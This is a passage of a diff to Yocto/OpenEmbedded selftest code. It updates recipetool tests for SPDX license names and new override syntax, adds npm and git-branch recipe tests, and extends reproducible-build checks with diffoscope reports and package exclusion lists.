inherits = ['autotools', 'pkgconfig']
self._test_recipe_contents(recipefile, checkvars, inherits)
@@ -387,8 +376,8 @@ class RecipetoolTests(RecipetoolBase):
# Try adding a recipe
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
- pv = '1.7.3.0'
- srcuri = 'http://www.dest-unreach.org/socat/download/socat-%s.tar.bz2' % pv
+ pv = '1.7.4.1'
+ srcuri = 'http://www.dest-unreach.org/socat/download/Archive/socat-%s.tar.bz2' % pv
result = runCmd('recipetool create %s -o %s' % (srcuri, temprecipe))
dirlist = os.listdir(temprecipe)
if len(dirlist) > 1:
@@ -397,7 +386,7 @@ class RecipetoolTests(RecipetoolBase):
self.fail('recipetool did not create recipe file; output:\n%s\ndirlist:\n%s' % (result.output, str(dirlist)))
self.assertEqual(dirlist[0], 'socat_%s.bb' % pv, 'Recipe file incorrectly named')
checkvars = {}
- checkvars['LICENSE'] = set(['Unknown', 'GPLv2'])
+ checkvars['LICENSE'] = set(['Unknown', 'GPL-2.0-only'])
checkvars['LIC_FILES_CHKSUM'] = set(['file://COPYING.OpenSSL;md5=5c9bccc77f67a8328ef4ebaf468116f4', 'file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263'])
# We don't check DEPENDS since they are variable for this recipe depending on what's in the sysroot
checkvars['S'] = None
@@ -413,7 +402,7 @@ class RecipetoolTests(RecipetoolBase):
result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
self.assertTrue(os.path.isfile(recipefile))
checkvars = {}
- checkvars['LICENSE'] = set(['LGPLv2.1', 'MPL-1.1'])
+ checkvars['LICENSE'] = set(['LGPL-2.1-only', 'MPL-1.1-only'])
checkvars['SRC_URI'] = 'http://taglib.github.io/releases/taglib-${PV}.tar.gz'
checkvars['SRC_URI[md5sum]'] = 'cee7be0ccfc892fa433d6c837df9522a'
checkvars['SRC_URI[sha256sum]'] = 'b6d1a5a610aae6ff39d93de5efd0fdc787aa9e9dc1e7026fa4c961b26563526b'
@@ -421,6 +410,35 @@ class RecipetoolTests(RecipetoolBase):
inherits = ['cmake']
self._test_recipe_contents(recipefile, checkvars, inherits)
+ def test_recipetool_create_npm(self):
+ collections = get_bb_var('BBFILE_COLLECTIONS').split()
+ if "openembedded-layer" not in collections:
+ self.skipTest("Test needs meta-oe for nodejs")
+
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+ recipefile = os.path.join(temprecipe, 'savoirfairelinux-node-server-example_1.0.0.bb')
+ shrinkwrap = os.path.join(temprecipe, 'savoirfairelinux-node-server-example', 'npm-shrinkwrap.json')
+ srcuri = 'npm://registry.npmjs.org;package=@savoirfairelinux/node-server-example;version=1.0.0'
+ result = runCmd('recipetool create -o %s \'%s\'' % (temprecipe, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ self.assertTrue(os.path.isfile(shrinkwrap))
+ checkvars = {}
+ checkvars['SUMMARY'] = 'Node Server Example'
+ checkvars['HOMEPAGE'] = 'https://github.com/savoirfairelinux/node-server-example#readme'
+ checkvars['LICENSE'] = 'BSD-3-Clause & ISC & MIT & Unknown'
+ urls = []
+ urls.append('npm://registry.npmjs.org/;package=@savoirfairelinux/node-server-example;version=${PV}')
+ urls.append('npmsw://${THISDIR}/${BPN}/npm-shrinkwrap.json')
+ checkvars['SRC_URI'] = set(urls)
+ checkvars['S'] = '${WORKDIR}/npm'
+ checkvars['LICENSE:${PN}'] = 'MIT'
+ checkvars['LICENSE:${PN}-base64'] = 'Unknown'
+ checkvars['LICENSE:${PN}-accepts'] = 'MIT'
+ checkvars['LICENSE:${PN}-inherits'] = 'ISC'
+ inherits = ['npm']
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
def test_recipetool_create_github(self):
# Basic test to see if github URL mangling works
temprecipe = os.path.join(self.tempdir, 'recipe')
@@ -431,7 +449,7 @@ class RecipetoolTests(RecipetoolBase):
self.assertTrue(os.path.isfile(recipefile))
checkvars = {}
checkvars['LICENSE'] = set(['Apache-2.0'])
- checkvars['SRC_URI'] = 'git://github.com/mesonbuild/meson;protocol=https'
+ checkvars['SRC_URI'] = 'git://github.com/mesonbuild/meson;protocol=https;branch=master'
inherits = ['setuptools3']
self._test_recipe_contents(recipefile, checkvars, inherits)
@@ -454,25 +472,6 @@ class RecipetoolTests(RecipetoolBase):
inherits = ['setuptools3']
self._test_recipe_contents(recipefile, checkvars, inherits)
- def test_recipetool_create_python3_distutils(self):
- # Test creating python3 package from tarball (using distutils3 class)
- temprecipe = os.path.join(self.tempdir, 'recipe')
- os.makedirs(temprecipe)
- pn = 'docutils'
- pv = '0.14'
- recipefile = os.path.join(temprecipe, '%s_%s.bb' % (pn, pv))
- srcuri = 'https://files.pythonhosted.org/packages/84/f4/5771e41fdf52aabebbadecc9381d11dea0fa34e4759b4071244fa094804c/docutils-%s.tar.gz' % pv
- result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
- self.assertTrue(os.path.isfile(recipefile))
- checkvars = {}
- checkvars['LICENSE'] = set(['PSF', '&', 'BSD', 'GPL'])
- checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING.txt;md5=35a23d42b615470583563132872c97d6'
- checkvars['SRC_URI'] = 'https://files.pythonhosted.org/packages/84/f4/5771e41fdf52aabebbadecc9381d11dea0fa34e4759b4071244fa094804c/docutils-${PV}.tar.gz'
- checkvars['SRC_URI[md5sum]'] = 'c53768d63db3873b7d452833553469de'
- checkvars['SRC_URI[sha256sum]'] = '51e64ef2ebfb29cae1faa133b3710143496eca21c530f3f71424d77687764274'
- inherits = ['distutils3']
- self._test_recipe_contents(recipefile, checkvars, inherits)
-
def test_recipetool_create_github_tarball(self):
# Basic test to ensure github URL mangling doesn't apply to release tarballs
temprecipe = os.path.join(self.tempdir, 'recipe')
@@ -488,19 +487,48 @@ class RecipetoolTests(RecipetoolBase):
inherits = ['setuptools3']
self._test_recipe_contents(recipefile, checkvars, inherits)
- def test_recipetool_create_git_http(self):
+ def _test_recipetool_create_git(self, srcuri, branch=None):
# Basic test to check http git URL mangling works
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
- recipefile = os.path.join(temprecipe, 'matchbox-terminal_git.bb')
- srcuri = 'http://git.yoctoproject.org/git/matchbox-terminal'
- result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ name = srcuri.split(';')[0].split('/')[-1]
+ recipefile = os.path.join(temprecipe, name + '_git.bb')
+ options = ' -B %s' % branch if branch else ''
+ result = runCmd('recipetool create -o %s%s "%s"' % (temprecipe, options, srcuri))
self.assertTrue(os.path.isfile(recipefile))
checkvars = {}
- checkvars['LICENSE'] = set(['GPLv2'])
- checkvars['SRC_URI'] = 'git://git.yoctoproject.org/git/matchbox-terminal;protocol=http'
- inherits = ['pkgconfig', 'autotools']
- self._test_recipe_contents(recipefile, checkvars, inherits)
+ checkvars['SRC_URI'] = srcuri
+ for scheme in ['http', 'https']:
+ if srcuri.startswith(scheme + ":"):
+ checkvars['SRC_URI'] = 'git%s;protocol=%s' % (srcuri[len(scheme):], scheme)
+ if ';branch=' not in srcuri:
+ checkvars['SRC_URI'] += ';branch=' + (branch or 'master')
+ self._test_recipe_contents(recipefile, checkvars, [])
+
+ def test_recipetool_create_git_http(self):
+ self._test_recipetool_create_git('http://git.yoctoproject.org/git/matchbox-keyboard')
+
+ def test_recipetool_create_git_srcuri_master(self):
+ self._test_recipetool_create_git('git://git.yoctoproject.org/matchbox-keyboard;branch=master')
+
+ def test_recipetool_create_git_srcuri_branch(self):
+ self._test_recipetool_create_git('git://git.yoctoproject.org/matchbox-keyboard;branch=matchbox-keyboard-0-1')
+
+ def test_recipetool_create_git_srcbranch(self):
+ self._test_recipetool_create_git('git://git.yoctoproject.org/matchbox-keyboard', 'matchbox-keyboard-0-1')
+
+
+class RecipetoolTests(RecipetoolBase):
+
+ @classmethod
+ def setUpClass(cls):
+ import sys
+
+ super(RecipetoolTests, cls).setUpClass()
+ bb_vars = get_bb_vars(['BBPATH'])
+ cls.bbpath = bb_vars['BBPATH']
+ libpath = os.path.join(get_bb_var('COREBASE'), 'scripts', 'lib', 'recipetool')
+ sys.path.insert(0, libpath)
def _copy_file_with_cleanup(self, srcfile, basedstdir, *paths):
dstdir = basedstdir
@@ -509,7 +537,11 @@ class RecipetoolTests(RecipetoolBase):
dstdir = os.path.join(dstdir, p)
if not os.path.exists(dstdir):
os.makedirs(dstdir)
- self.track_for_cleanup(dstdir)
+ if p == "lib":
+ # Can race with other tests
+ self.add_command_to_tearDown('rmdir --ignore-fail-on-non-empty %s' % dstdir)
+ else:
+ self.track_for_cleanup(dstdir)
dstfile = os.path.join(dstdir, os.path.basename(srcfile))
if srcfile != dstfile:
shutil.copy(srcfile, dstfile)
@@ -541,6 +573,128 @@ class RecipetoolTests(RecipetoolBase):
with open(srcfile, 'w') as fh:
fh.writelines(plugincontent)
+ def test_recipetool_handle_license_vars(self):
+ from create import handle_license_vars
+ from unittest.mock import Mock
+
+ commonlicdir = get_bb_var('COMMON_LICENSE_DIR')
+
+ d = bb.tinfoil.TinfoilDataStoreConnector
+ d.getVar = Mock(return_value=commonlicdir)
+
+ srctree = tempfile.mkdtemp(prefix='recipetoolqa')
+ self.track_for_cleanup(srctree)
+
+ # Multiple licenses
+ licenses = ['MIT', 'ISC', 'BSD-3-Clause', 'Apache-2.0']
+ for licence in licenses:
+ shutil.copy(os.path.join(commonlicdir, licence), os.path.join(srctree, 'LICENSE.' + licence))
+ # Duplicate license
+ shutil.copy(os.path.join(commonlicdir, 'MIT'), os.path.join(srctree, 'LICENSE'))
+
+ extravalues = {
+ # Duplicate and missing licenses
+ 'LICENSE': 'Zlib & BSD-2-Clause & Zlib',
+ 'LIC_FILES_CHKSUM': [
+ 'file://README.md;md5=0123456789abcdef0123456789abcd'
+ ]
+ }
+ lines_before = []
+ handled = []
+ licvalues = handle_license_vars(srctree, lines_before, handled, extravalues, d)
+ expected_lines_before = [
+ '# WARNING: the following LICENSE and LIC_FILES_CHKSUM values are best guesses - it is',
+ '# your responsibility to verify that the values are complete and correct.',
+ '# NOTE: Original package / source metadata indicates license is: BSD-2-Clause & Zlib',
+ '#',
+ '# NOTE: multiple licenses have been detected; they have been separated with &',
+ '# in the LICENSE value for now since it is a reasonable assumption that all',
+ '# of the licenses apply. If instead there is a choice between the multiple',
+ '# licenses then you should change the value to separate the licenses with |',
+ '# instead of &. If there is any doubt, check the accompanying documentation',
+ '# to determine which situation is applicable.',
+ 'LICENSE = "Apache-2.0 & BSD-2-Clause & BSD-3-Clause & ISC & MIT & Zlib"',
+ 'LIC_FILES_CHKSUM = "file://LICENSE;md5=0835ade698e0bcf8506ecda2f7b4f302 \\\n'
+ ' file://LICENSE.Apache-2.0;md5=89aea4e17d99a7cacdbeed46a0096b10 \\\n'
+ ' file://LICENSE.BSD-3-Clause;md5=550794465ba0ec5312d6919e203a55f9 \\\n'
+ ' file://LICENSE.ISC;md5=f3b90e78ea0cffb20bf5cca7947a896d \\\n'
+ ' file://LICENSE.MIT;md5=0835ade698e0bcf8506ecda2f7b4f302 \\\n'
+ ' file://README.md;md5=0123456789abcdef0123456789abcd"',
+ ''
+ ]
+ self.assertEqual(lines_before, expected_lines_before)
+ expected_licvalues = [
+ ('MIT', 'LICENSE', '0835ade698e0bcf8506ecda2f7b4f302'),
+ ('Apache-2.0', 'LICENSE.Apache-2.0', '89aea4e17d99a7cacdbeed46a0096b10'),
+ ('BSD-3-Clause', 'LICENSE.BSD-3-Clause', '550794465ba0ec5312d6919e203a55f9'),
+ ('ISC', 'LICENSE.ISC', 'f3b90e78ea0cffb20bf5cca7947a896d'),
+ ('MIT', 'LICENSE.MIT', '0835ade698e0bcf8506ecda2f7b4f302')
+ ]
+ self.assertEqual(handled, [('license', expected_licvalues)])
+ self.assertEqual(extravalues, {})
+ self.assertEqual(licvalues, expected_licvalues)
+
+
+ def test_recipetool_split_pkg_licenses(self):
+ from create import split_pkg_licenses
+ licvalues = [
+ # Duplicate licenses
+ ('BSD-2-Clause', 'x/COPYING', None),
+ ('BSD-2-Clause', 'x/LICENSE', None),
+ # Multiple licenses
+ ('MIT', 'x/a/LICENSE.MIT', None),
+ ('ISC', 'x/a/LICENSE.ISC', None),
+ # Alternative licenses
+ ('(MIT | ISC)', 'x/b/LICENSE', None),
+ # Alternative licenses without brackets
+ ('MIT | BSD-2-Clause', 'x/c/LICENSE', None),
+ # Multi licenses with alternatives
+ ('MIT', 'x/d/COPYING', None),
+ ('MIT | BSD-2-Clause', 'x/d/LICENSE', None),
+ # Multi licenses with alternatives and brackets
+ ('Apache-2.0 & ((MIT | ISC) & BSD-3-Clause)', 'x/e/LICENSE', None)
+ ]
+ packages = {
+ '${PN}': '',
+ 'a': 'x/a',
+ 'b': 'x/b',
+ 'c': 'x/c',
+ 'd': 'x/d',
+ 'e': 'x/e',
+ 'f': 'x/f',
+ 'g': 'x/g',
+ }
+ fallback_licenses = {
+ # Ignored
+ 'a': 'BSD-3-Clause',
+ # Used
+ 'f': 'BSD-3-Clause'
+ }
+ outlines = []
+ outlicenses = split_pkg_licenses(licvalues, packages, outlines, fallback_licenses)
+ expected_outlicenses = {
+ '${PN}': ['BSD-2-Clause'],
+ 'a': ['ISC', 'MIT'],
+ 'b': ['(ISC | MIT)'],
+ 'c': ['(BSD-2-Clause | MIT)'],
+ 'd': ['(BSD-2-Clause | MIT)', 'MIT'],
+ 'e': ['(ISC | MIT)', 'Apache-2.0', 'BSD-3-Clause'],
+ 'f': ['BSD-3-Clause'],
+ 'g': ['Unknown']
+ }
+ self.assertEqual(outlicenses, expected_outlicenses)
+ expected_outlines = [
+ 'LICENSE:${PN} = "BSD-2-Clause"',
+ 'LICENSE:a = "ISC & MIT"',
+ 'LICENSE:b = "(ISC | MIT)"',
+ 'LICENSE:c = "(BSD-2-Clause | MIT)"',
+ 'LICENSE:d = "(BSD-2-Clause | MIT) & MIT"',
+ 'LICENSE:e = "(ISC | MIT) & Apache-2.0 & BSD-3-Clause"',
+ 'LICENSE:f = "BSD-3-Clause"',
+ 'LICENSE:g = "Unknown"'
+ ]
+ self.assertEqual(outlines, expected_outlines)
+
class RecipetoolAppendsrcBase(RecipetoolBase):
def _try_recipetool_appendsrcfile(self, testrecipe, newfile, destfile, options, expectedlines, expectedfiles):
@@ -600,7 +754,7 @@ class RecipetoolAppendsrcBase(RecipetoolBase):
else:
destpath = '.' + os.sep
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
if has_src_uri:
uri = 'file://%s' % filename
diff --git a/meta/lib/oeqa/selftest/cases/recipeutils.py b/meta/lib/oeqa/selftest/cases/recipeutils.py
index 747870383b..f1dd63f65b 100644
--- a/meta/lib/oeqa/selftest/cases/recipeutils.py
+++ b/meta/lib/oeqa/selftest/cases/recipeutils.py
@@ -40,7 +40,7 @@ class RecipeUtilsTests(OESelftestTestCase):
SUMMARY = "Python framework to process interdependent tasks in a pool of workers"
HOMEPAGE = "http://github.com/gitpython-developers/async"
SECTION = "devel/python"
--LICENSE = "BSD"
+-LICENSE = "BSD-3-Clause"
+LICENSE = "something"
LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=88df8e78b9edfd744953862179f2d14e"
@@ -52,7 +52,7 @@ class RecipeUtilsTests(OESelftestTestCase):
+SRC_URI[md5sum] = "aaaaaa"
SRC_URI[sha256sum] = "ac6894d876e45878faae493b0cf61d0e28ec417334448ac0a6ea2229d8343051"
- RDEPENDS_${PN} += "${PYTHON_PN}-threading"
+ RDEPENDS:${PN} += "${PYTHON_PN}-threading"
"""
patchlines = []
for f in patches:
@@ -80,7 +80,7 @@ class RecipeUtilsTests(OESelftestTestCase):
-SRC_URI += "file://somefile"
-
- SRC_URI_append = " file://anotherfile"
+ SRC_URI:append = " file://anotherfile"
"""
patchlines = []
for f in patches:
@@ -105,7 +105,7 @@ class RecipeUtilsTests(OESelftestTestCase):
-SRC_URI += "file://somefile"
-
--SRC_URI_append = " file://anotherfile"
+-SRC_URI:append = " file://anotherfile"
"""
patchlines = []
for f in patches:
diff --git a/meta/lib/oeqa/selftest/cases/reproducible.py b/meta/lib/oeqa/selftest/cases/reproducible.py
index a9110565a9..7caf8c3e7d 100644
--- a/meta/lib/oeqa/selftest/cases/reproducible.py
+++ b/meta/lib/oeqa/selftest/cases/reproducible.py
@@ -1,7 +1,7 @@
#
# SPDX-License-Identifier: MIT
#
-# Copyright 2019 by Garmin Ltd. or its subsidiaries
+# Copyright 2019-2020 by Garmin Ltd. or its subsidiaries
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_bb_vars
@@ -15,6 +15,17 @@ import tempfile
import shutil
import stat
import os
+import datetime
+
+exclude_packages = [
+ ]
+
+def is_excluded(package):
+ package_name = os.path.basename(package)
+ for i in exclude_packages:
+ if package_name.startswith(i):
+ return i
+ return None
MISSING = 'MISSING'
DIFFERENT = 'DIFFERENT'
@@ -38,14 +49,21 @@ class PackageCompareResults(object):
self.total = []
self.missing = []
self.different = []
+ self.different_excluded = []
self.same = []
+ self.active_exclusions = set()
def add_result(self, r):
self.total.append(r)
if r.status == MISSING:
self.missing.append(r)
elif r.status == DIFFERENT:
- self.different.append(r)
+ exclusion = is_excluded(r.reference)
+ if exclusion:
+ self.different_excluded.append(r)
+ self.active_exclusions.add(exclusion)
+ else:
+ self.different.append(r)
else:
self.same.append(r)
@@ -53,10 +71,14 @@ class PackageCompareResults(object):
self.total.sort()
self.missing.sort()
self.different.sort()
+ self.different_excluded.sort()
self.same.sort()
def __str__(self):
- return 'same=%i different=%i missing=%i total=%i' % (len(self.same), len(self.different), len(self.missing), len(self.total))
+ return 'same=%i different=%i different_excluded=%i missing=%i total=%i\nunused_exclusions=%s' % (len(self.same), len(self.different), len(self.different_excluded), len(self.missing), len(self.total), self.unused_exclusions())
+
+ def unused_exclusions(self):
+ return sorted(set(exclude_packages) - self.active_exclusions)
def compare_file(reference, test, diffutils_sysroot):
result = CompareResult()
@@ -67,7 +89,7 @@ def compare_file(reference, test, diffutils_sysroot):
result.status = MISSING
return result
- r = runCmd(['cmp', '--quiet', reference, test], native_sysroot=diffutils_sysroot, ignore_status=True)
+ r = runCmd(['cmp', '--quiet', reference, test], native_sysroot=diffutils_sysroot, ignore_status=True, sync=False)
if r.status:
result.status = DIFFERENT
@@ -76,10 +98,56 @@ def compare_file(reference, test, diffutils_sysroot):
result.status = SAME
return result
+def run_diffoscope(a_dir, b_dir, html_dir, max_report_size=0, **kwargs):
+ return runCmd(['diffoscope', '--no-default-limits', '--max-report-size', str(max_report_size),
+ '--exclude-directory-metadata', 'yes', '--html-dir', html_dir, a_dir, b_dir],
+ **kwargs)
+
+class DiffoscopeTests(OESelftestTestCase):
+ diffoscope_test_files = os.path.join(os.path.dirname(os.path.abspath(__file__)), "diffoscope")
+
+ def test_diffoscope(self):
+ bitbake("diffoscope-native -c addto_recipe_sysroot")
+ diffoscope_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", "diffoscope-native")
+
+ # Check that diffoscope doesn't return an error when the files compare
+ # the same (a general check that diffoscope is working)
+ with tempfile.TemporaryDirectory() as tmpdir:
+ run_diffoscope('A', 'A', tmpdir,
+ native_sysroot=diffoscope_sysroot, cwd=self.diffoscope_test_files)
+
+ # Check that diffoscope generates an index.html file when the files are
+ # different
+ with tempfile.TemporaryDirectory() as tmpdir:
+ r = run_diffoscope('A', 'B', tmpdir,
+ native_sysroot=diffoscope_sysroot, ignore_status=True, cwd=self.diffoscope_test_files)
+
+ self.assertNotEqual(r.status, 0, msg="diffoscope was successful when an error was expected")
+ self.assertTrue(os.path.exists(os.path.join(tmpdir, 'index.html')), "HTML index not found!")
+
class ReproducibleTests(OESelftestTestCase):
- package_classes = ['deb', 'ipk']
- images = ['core-image-minimal']
+ # Test the reproducibility of whatever is built between sstate_targets and targets
+
+ package_classes = ['deb', 'ipk', 'rpm']
+
+ # Maximum report size, in bytes
+ max_report_size = 250 * 1024 * 1024
+
+ # targets are the things we want to test the reproducibility of
+ targets = ['core-image-minimal', 'core-image-sato', 'core-image-full-cmdline', 'core-image-weston', 'world']
+ # sstate targets are things to pull from sstate to potentially cut build/debugging time
+ sstate_targets = []
save_results = False
+ if 'OEQA_DEBUGGING_SAVED_OUTPUT' in os.environ:
+ save_results = os.environ['OEQA_DEBUGGING_SAVED_OUTPUT']
+
+ # This variable controls if one of the test builds is allowed to pull from
+ # an sstate cache/mirror. The other build is always done clean as a point of
+ # comparison.
+ # If you know that your sstate archives are reproducible, enabling this
+ # will test that and also make the test run faster. If your sstate is not
+ # reproducible, disable this in your derived test class
+ build_from_sstate = True
def setUpLocal(self):
super().setUpLocal()
@@ -88,12 +156,12 @@ class ReproducibleTests(OESelftestTestCase):
for v in needed_vars:
setattr(self, v.lower(), bb_vars[v])
- self.extrasresults = {}
- self.extrasresults.setdefault('reproducible.rawlogs', {})['log'] = ''
- self.extrasresults.setdefault('reproducible', {}).setdefault('files', {})
+ self.extraresults = {}
+ self.extraresults.setdefault('reproducible.rawlogs', {})['log'] = ''
+ self.extraresults.setdefault('reproducible', {}).setdefault('files', {})
def append_to_log(self, msg):
- self.extrasresults['reproducible.rawlogs']['log'] += msg
+ self.extraresults['reproducible.rawlogs']['log'] += msg
def compare_packages(self, reference_dir, test_dir, diffutils_sysroot):
result = PackageCompareResults()
@@ -120,60 +188,82 @@ class ReproducibleTests(OESelftestTestCase):
return result
def write_package_list(self, package_class, name, packages):
- self.extrasresults['reproducible']['files'].setdefault(package_class, {})[name] = [
+ self.extraresults['reproducible']['files'].setdefault(package_class, {})[name] = [
{'reference': p.reference, 'test': p.test} for p in packages]
def copy_file(self, source, dest):
bb.utils.mkdirhier(os.path.dirname(dest))
shutil.copyfile(source, dest)
- def test_reproducible_builds(self):
+ def do_test_build(self, name, use_sstate):
capture_vars = ['DEPLOY_DIR_' + c.upper() for c in self.package_classes]
- if self.save_results:
- save_dir = tempfile.mkdtemp(prefix='oe-reproducible-')
- os.chmod(save_dir, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH)
- self.logger.info('Non-reproducible packages will be copied to %s', save_dir)
+ tmpdir = os.path.join(self.topdir, name, 'tmp')
+ if os.path.exists(tmpdir):
+ bb.utils.remove(tmpdir, recurse=True)
+
+ config = textwrap.dedent('''\
+ PACKAGE_CLASSES = "{package_classes}"
+ INHIBIT_PACKAGE_STRIP = "1"
+ TMPDIR = "{tmpdir}"
+ LICENSE_FLAGS_ACCEPTED = "commercial"
+ DISTRO_FEATURES:append = ' systemd pam'
+ USERADDEXTENSION = "useradd-staticids"
+ USERADD_ERROR_DYNAMIC = "skip"
+ USERADD_UID_TABLES += "files/static-passwd"
+ USERADD_GID_TABLES += "files/static-group"
+ ''').format(package_classes=' '.join('package_%s' % c for c in self.package_classes),
+ tmpdir=tmpdir)
+
+ if not use_sstate:
+ if self.sstate_targets:
+ self.logger.info("Building prebuild for %s (sstate allowed)..." % (name))
+ self.write_config(config)
+ bitbake(' '.join(self.sstate_targets))
+
+ # This config fragment will disable using shared and the sstate
+ # mirror, forcing a complete build from scratch
+ config += textwrap.dedent('''\
+ SSTATE_DIR = "${TMPDIR}/sstate"
+ SSTATE_MIRRORS = ""
+ ''')
+
+ self.logger.info("Building %s (sstate%s allowed)..." % (name, '' if use_sstate else ' NOT'))
+ self.write_config(config)
+ d = get_bb_vars(capture_vars)
+ # targets used to be called images
+ bitbake(' '.join(getattr(self, 'images', self.targets)))
+ return d
+
+ def test_reproducible_builds(self):
+ def strip_topdir(s):
+ if s.startswith(self.topdir):
+ return s[len(self.topdir):]
+ return s
# Build native utilities
self.write_config('')
- bitbake("diffutils-native -c addto_recipe_sysroot")
+ bitbake("diffoscope-native diffutils-native jquery-native -c addto_recipe_sysroot")
diffutils_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", "diffutils-native")
+ diffoscope_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", "diffoscope-native")
+ jquery_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", "jquery-native")
+
+ if self.save_results:
+ os.makedirs(self.save_results, exist_ok=True)
+ datestr = datetime.datetime.now().strftime('%Y%m%d')
+ save_dir = tempfile.mkdtemp(prefix='oe-reproducible-%s-' % datestr, dir=self.save_results)
+ os.chmod(save_dir, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH)
+ self.logger.info('Non-reproducible packages will be copied to %s', save_dir)
+
+ vars_A = self.do_test_build('reproducibleA', self.build_from_sstate)
- # Reproducible builds should not pull from sstate or mirrors, but
- # sharing DL_DIR is fine
- common_config = textwrap.dedent('''\
- INHERIT += "reproducible_build"
- PACKAGE_CLASSES = "%s"
- SSTATE_DIR = "${TMPDIR}/sstate"
- ''') % (' '.join('package_%s' % c for c in self.package_classes))
-
- # Perform a build.
- reproducibleA_tmp = os.path.join(self.topdir, 'reproducibleA', 'tmp')
- if os.path.exists(reproducibleA_tmp):
- bb.utils.remove(reproducibleA_tmp, recurse=True)
-
- self.write_config((textwrap.dedent('''\
- TMPDIR = "%s"
- ''') % reproducibleA_tmp) + common_config)
- vars_A = get_bb_vars(capture_vars)
- bitbake(' '.join(self.images))
-
- # Perform another build.
- reproducibleB_tmp = os.path.join(self.topdir, 'reproducibleB', 'tmp')
- if os.path.exists(reproducibleB_tmp):
- bb.utils.remove(reproducibleB_tmp, recurse=True)
-
- self.write_config((textwrap.dedent('''\
- SSTATE_MIRROR = ""
- TMPDIR = "%s"
- ''') % reproducibleB_tmp) + common_config)
- vars_B = get_bb_vars(capture_vars)
- bitbake(' '.join(self.images))
+ vars_B = self.do_test_build('reproducibleB', False)
# NOTE: The temp directories from the reproducible build are purposely
# kept after the build so it can be diffed for debugging.
+ fails = []
+
for c in self.package_classes:
with self.subTest(package_class=c):
package_class = 'package_' + c
@@ -181,6 +271,7 @@ class ReproducibleTests(OESelftestTestCase):
deploy_A = vars_A['DEPLOY_DIR_' + c.upper()]
deploy_B = vars_B['DEPLOY_DIR_' + c.upper()]
+ self.logger.info('Checking %s packages for differences...' % c)
result = self.compare_packages(deploy_A, deploy_B, diffutils_sysroot)
self.logger.info('Reproducibility summary for %s: %s' % (c, result))
@@ -189,14 +280,37 @@ class ReproducibleTests(OESelftestTestCase):
self.write_package_list(package_class, 'missing', result.missing)
self.write_package_list(package_class, 'different', result.different)
+ self.write_package_list(package_class, 'different_excluded', result.different_excluded)
self.write_package_list(package_class, 'same', result.same)
if self.save_results:
for d in result.different:
- self.copy_file(d.reference, '/'.join([save_dir, d.reference]))
- self.copy_file(d.test, '/'.join([save_dir, d.test]))
+ self.copy_file(d.reference, '/'.join([save_dir, 'packages', strip_topdir(d.reference)]))
+ self.copy_file(d.test, '/'.join([save_dir, 'packages', strip_topdir(d.test)]))
+
+ for d in result.different_excluded:
+ self.copy_file(d.reference, '/'.join([save_dir, 'packages-excluded', strip_topdir(d.reference)]))
+ self.copy_file(d.test, '/'.join([save_dir, 'packages-excluded', strip_topdir(d.test)]))
if result.missing or result.different:
- self.fail("The following %s packages are missing or different: %s" %
- (c, ' '.join(r.test for r in (result.missing + result.different))))
+ fails.append("The following %s packages are missing or different and not in exclusion list: %s" %
+ (c, '\n'.join(r.test for r in (result.missing + result.different))))
+
+ # Clean up empty directories
+ if self.save_results:
+ if not os.listdir(save_dir):
+ os.rmdir(save_dir)
+ else:
+ self.logger.info('Running diffoscope')
+ package_dir = os.path.join(save_dir, 'packages')
+ package_html_dir = os.path.join(package_dir, 'diff-html')
+
+ # Copy jquery to improve the diffoscope output usability
+ self.copy_file(os.path.join(jquery_sysroot, 'usr/share/javascript/jquery/jquery.min.js'), os.path.join(package_html_dir, 'jquery.js'))
+
+ run_diffoscope('reproducibleA', 'reproducibleB', package_html_dir, max_report_size=self.max_report_size,
+ native_sysroot=diffoscope_sysroot, ignore_status=True, cwd=package_dir)
+
+ if fails:
+ self.fail('\n'.join(fails))
diff --git a/meta/lib/oeqa/selftest/cases/runcmd.py b/meta/lib/oeqa/selftest/cases/runcmd.py
index 3755764ee7..e9612389fe 100644
--- a/meta/lib/oeqa/selftest/cases/runcmd.py
+++ b/meta/lib/oeqa/selftest/cases/runcmd.py
@@ -27,8 +27,8 @@ class RunCmdTests(OESelftestTestCase):
# The delta is intentionally smaller than the timeout, to detect cases where
# we incorrectly apply the timeout more than once.
- TIMEOUT = 5
- DELTA = 3
+ TIMEOUT = 10
+ DELTA = 8
def test_result_okay(self):
result = runCmd("true")
@@ -64,12 +64,12 @@ class RunCmdTests(OESelftestTestCase):
runCmd, "echo foobar >&2; false", shell=True, assert_error=False)
def test_output(self):
- result = runCmd("echo stdout; echo stderr >&2", shell=True)
+ result = runCmd("echo stdout; echo stderr >&2", shell=True, sync=False)
self.assertEqual("stdout\nstderr", result.output)
self.assertEqual("", result.error)
def test_output_split(self):
- result = runCmd("echo stdout; echo stderr >&2", shell=True, stderr=subprocess.PIPE)
+ result = runCmd("echo stdout; echo stderr >&2", shell=True, stderr=subprocess.PIPE, sync=False)
self.assertEqual("stdout", result.output)
self.assertEqual("stderr", result.error)
@@ -77,45 +77,46 @@ class RunCmdTests(OESelftestTestCase):
numthreads = threading.active_count()
start = time.time()
# Killing a hanging process only works when not using a shell?!
- result = runCmd(['sleep', '60'], timeout=self.TIMEOUT, ignore_status=True)
+ result = runCmd(['sleep', '60'], timeout=self.TIMEOUT, ignore_status=True, sync=False)
